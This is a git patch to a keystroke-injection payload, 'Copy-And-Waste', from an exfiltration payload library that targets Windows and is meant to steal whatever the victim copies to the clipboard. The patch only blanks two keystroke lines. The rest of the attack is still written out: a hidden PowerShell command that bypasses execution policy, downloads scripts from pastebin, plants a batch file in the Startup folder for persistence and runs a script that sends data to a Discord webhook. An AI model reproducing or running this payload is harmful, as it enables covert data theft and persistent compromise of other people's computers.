From db42b39dc0001139e3040e0cce3477a6b076f116 Mon Sep 17 00:00:00 2001 From: "Mr. Proxy" Date: Wed, 3 Jul 2024 18:59:09 +0200 Subject: [PATCH] Removing made changes. --- payloads/library/exfiltration/Copy-And-Waste/payload.txt | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/payloads/library/exfiltration/Copy-And-Waste/payload.txt b/payloads/library/exfiltration/Copy-And-Waste/payload.txt index b1c860c..e8eca21 100644 --- a/payloads/library/exfiltration/Copy-And-Waste/payload.txt +++ b/payloads/library/exfiltration/Copy-And-Waste/payload.txt @@ -7,11 +7,11 @@ REM Description: This payload is meant to exfiltrate whatever is copied to t REM Target: Windows 10, 11 DELAY 2000 -GUI r -DELAY 500 +GUI +DELAY STRING powershell -w h -NoP -NonI -Ep Bypass "echo (iwr PASTEBIN LINK FOR BAT).content > "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\l.bat";echo (iwr PASTEBIN LINK FOR PS1).content > "$env:APPDATA\c.ps1";powershell "$env:APPDATA\c.ps1"" ENTER REM Remember to replace the link with your pastebin shared link for the intended files to download REM Also remember to put in your discord webhook in c.ps1 -REM For the PASTEBIN LINK's do not put https:// infront of it, it should look like pastebin.com/raw/BLAHBLAHBLAH \ No newline at end of file +REM For the PASTEBIN LINK's do not put https:// infront of it, it should look like pastebin.com/raw/BLAHBLAHBLAH